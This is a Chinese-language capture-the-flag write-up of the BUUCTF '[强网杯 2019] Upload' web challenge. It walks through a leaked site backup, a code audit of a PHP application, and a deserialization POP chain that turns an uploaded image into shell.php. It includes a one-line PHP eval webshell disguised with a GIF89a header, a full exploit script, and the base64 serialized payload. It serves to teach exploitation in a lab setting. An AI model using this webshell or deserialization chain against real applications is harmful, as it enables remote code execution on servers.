BUUCTF-WEB 【强网杯】 2019]Upload 1

考点

网站备份文件泄露

反序列化(多文件pop链构造)

前置知识

魔术方法

1
2
__get	读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
__call 在对象中调用一个不可访问方法时,__call() 会被调用。

解题过程

分析题型

打开是这么个界面

image-20211010143250173

注册一个账号登录后,发现一处文件上传。

image-20211010143404252

该尝试的都尝试了,当时卡在这个地方,然后悄悄搂了一眼大佬的博客。

抓包,发现cookie有蹊跷。

image-20211010144312874

1
YTo1OntzOjI6IklEIjtpOjQ7czo4OiJ1c2VybmFtZSI7czo1OiJ0ZXN0MSI7czo1OiJlbWFpbCI7czoxMjoidGVzdDFAcXEuY29tIjtzOjg6InBhc3N3b3JkIjtzOjMyOiI1YTEwNWU4YjlkNDBlMTMyOTc4MGQ2MmVhMjI2NWQ4YSI7czozOiJpbWciO3M6Nzk6Ii4uL3VwbG9hZC9iYmYzOTdkN2ZlMGNhZjJhMmIwMWY5OTk3Y2VjYTEwYi8wNjhhZTQwNTIzYTI0YzllZjU0ZWRlZmQzNzVlNTQyZC5wbmciO30%3D
1
a:5:{s:2:"ID";i:4;s:8:"username";s:5:"test1";s:5:"email";s:12:"test1@qq.com";s:8:"password";s:32:"5a105e8b9d40e1329780d62ea2265d8a";s:3:"img";s:79:"../upload/bbf397d7fe0caf2a2b01f9997ceca10b/068ae40523a24c9ef54edefd375e542d.png"O30%3D

Cookie为注册信息序列化后的值。到这有两种思路,第一个就是测试序列化中传入的路径是否存在目录穿越,第二个就是扫网站备份文件。经过测试,第一种不成功。扫目录扫到了www.tar.gz

代码审计

主要的功能点在这四个文件上。

image-20211010145636183

在Index.php中发现了反序列化入口点。

image-20211010145744140

接下来找利用点。在Profile.php 文件中 有一个类Profile,Profile中有一个方法upload_img。代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
public function upload_img(){
# 控制$this->checker 设置值为0 则不进入
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
// 不上传就不执行
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
// 添加文件头 比如GIF89a
if(getimagesize($this->filename_tmp)) {
# 利用点
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

是我太菜了,刚开始自己看了一遍,没看出什么毛病,搂一眼大佬博客,发现利用点为copy,这个

copy(source, dest)将文件从 source拷贝到dest。成功时返回TRUE, 或者在失败时返回FALSE。这里$this->filename_tmp$this->filename 在可控的情况下,可以将上传的有一句话的png格式图片文件拷贝成php后缀的文件。

1
2
3
$this->filename_tmp = "shell.png";
$this->filename = "shell.php";
copy($this->filename_tmp,$this->filename); // 最终得到一个shell.php文件

找到了利用点,接下来,怎么才能执行到这个upload_img方法。

Profile类中发现两个魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
public function __get($name)
{
return $this->except[$name];
}

public function __call($name, $arguments)
{
# 这里的 $this->{$name} 也表示一个属性 $name 表示属性名
# 平时都是 $this->name 写死 $this->{$name} 的$name 变量名可控
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
1
2
__get	读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用
__call 在对象中调用一个不可访问方法时,__call() 会被调用。

__call 方法中,只需要将$this->{$this->{$name}}的中的$this->{$name}值为upload_img,就能够调用upload_img方法。那要怎么才能触发__call,并且让$this->{$name}值为upload_img呢?

REgister.php文件中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
class Register extends Controller
{
public $checker;
public $registed;

public function __construct()
{
$this->checker=new Index();
}


public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}


}

Register中的__destruct方法调用了$this->checker->index();假设,我们把$this->checker改成Profile类,那这里的语句就能够触发Profile::__call方法。这样一条链条就形成了。

1
Register::__construct()->Register::__destruct()->Profile::__call()->Profile::__get()->Profile::__call()->Profile::upload_img()->copy()

Register::__construct()中将$this->checker指定为new Profile(),

Register::__destruct() 会调用Profile类中的index方法,发现找不到,会触发Profile::__call。

1
2
3
4
5
6
7
8
9
10
11
public function __get($name)
{
echo $name;
return $this->except[$name];
}
public function __call($name, $arguments)
{
if ($this->{$name}) {
$this->{$this->{$name}}($arguments);
}
}

触发Profile::__call,$name的值则为index,当执行到$this->{$name}发现找不到index这个属性,又会触发__get__get则会从$this->except数组中取键名为index的值返回。当我们把$this->except属性值设置为["index"=>"upload_img"],这样在执行$this->{$this->{$name}}($arguments);一句时,$this->{$name}不就是upload_img了吗。然后就会进入到upload_img方法中,接下来只需要修改一些属性值,就能执行到copy($this->filename_tmp,$this->filename);。这里怎么利用刚刚已经说过了。

先注册一个账号,上传一个图片格式后缀的一句话木马(加GIF89a),拿到上传路径。

shell.png

1
2
GIF89a
<?php eval($_POST['shell']);?>

image-20211010155040772

序列化

上脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
<?php

namespace app\web\controller;
class Register
{
public $checker;
public $registed;

public function __construct()
{
$this->checker;
}


public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}


}

class Profile
{
public $checker;
public $filename_tmp;
public $filename;
public $upload_menu;
public $ext;
public $img;
public $except;

public function __construct()
{
$this->except = ["index"=>"upload_img"];
$this->ext = 1;
$this->filename_tmp = "../public/upload/bbf397d7fe0caf2a2b01f9997ceca10b/fb5c81ed3a220004b71069645f112867.png";
$this->filename = "../public/upload/bbf397d7fe0caf2a2b01f9997ceca10b/shell.php";
$this->checker = 0;
$this->upload_menu = md5($_SERVER['REMOTE_ADDR']);
@chdir("../public/upload");
if (!is_dir($this->upload_menu)) {
@mkdir($this->upload_menu);
}
@chdir($this->upload_menu);
}

public function upload_img()
{
echo "upload_img";

if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if (!empty($_FILES)) {
$this->filename_tmp = $_FILES['upload_file']['tmp_name'];
$this->filename = md5($_FILES['upload_file']['name']) . ".png";
$this->ext_check();
}
if ($this->ext) {
if (getimagesize($this->filename_tmp)) {
# 利用点
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img = "../upload/$this->upload_menu/$this->filename";
$this->update_img();
} else {
$this->error('Forbidden type!', url('../index'));
}
} else {
$this->error('Unknow file type!', url('../index'));
}
}

public function __get($name)
{
echo "__get";
echo $name;
return $this->except[$name];
}

public function __call($name, $arguments)
{
echo "__call";
if ($this->{$name}) {
$this->{$this->{$name}}($arguments);
}
}

}

$r1 = new Register();
$p1 = new Profile();
$r1->checker = $p1;
echo base64_encode(serialize($r1));
1
TzoyNzoiYXBwXHdlYlxjb250cm9sbGVyXFJlZ2lzdGVyIjoyOntzOjc6ImNoZWNrZXIiO086MjY6ImFwcFx3ZWJcY29udHJvbGxlclxQcm9maWxlIjo3OntzOjc6ImNoZWNrZXIiO2k6MDtzOjEyOiJmaWxlbmFtZV90bXAiO3M6ODY6Ii4uL3B1YmxpYy91cGxvYWQvYmJmMzk3ZDdmZTBjYWYyYTJiMDFmOTk5N2NlY2ExMGIvZmI1YzgxZWQzYTIyMDAwNGI3MTA2OTY0NWYxMTI4NjcucG5nIjtzOjg6ImZpbGVuYW1lIjtzOjU5OiIuLi9wdWJsaWMvdXBsb2FkL2JiZjM5N2Q3ZmUwY2FmMmEyYjAxZjk5OTdjZWNhMTBiL3NoZWxsLnBocCI7czoxMToidXBsb2FkX21lbnUiO3M6MzI6ImY1Mjg3NjRkNjI0ZGIxMjliMzJjMjFmYmNhMGNiOGQ2IjtzOjM6ImV4dCI7aToxO3M6MzoiaW1nIjtOO3M6NjoiZXhjZXB0IjthOjE6e3M6NToiaW5kZXgiO3M6MTA6InVwbG9hZF9pbWciO319czo4OiJyZWdpc3RlZCI7Tjt9

login_check函数中为反序列化的触发点。

image-20211010155518460

这里的index、home路由都会调用login_check。

提交

image-20211010155949243

image-20211010160023619

image-20211010160546436

总结

有意思,有意思,先自己做,做不起悄悄搂一眼大佬博客,在继续做,学到很多。